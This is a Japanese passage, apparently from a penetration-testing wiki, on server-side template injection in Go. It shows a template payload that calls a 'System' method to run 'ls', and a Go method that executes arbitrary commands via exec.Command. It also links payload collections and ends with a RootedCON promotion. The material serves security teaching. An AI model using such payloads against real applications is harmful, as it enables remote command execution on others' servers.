メソッドがある場合、{{ .System "ls" }}
のように悪用できます。これを悪用するには、通常、ソースコードにアクセスする必要があります。
Copy func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
詳細情報
さらなるエクスプロイト
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection で他のエクスプロイトを確認してください。また、https://github.com/DiogoMRSilva/websitesVulnerableToSSTI で興味深いタグ情報も見つけることができます。
BlackHat PDF
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
pdf
関連ヘルプ
役立つと思う場合は、以下をお読みください:
ツール
ブルートフォース検出リスト
実践と参考
RootedCON は スペイン で最も重要なサイバーセキュリティイベントであり、ヨーロッパ で最も重要なイベントの一つです。技術知識の促進 を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。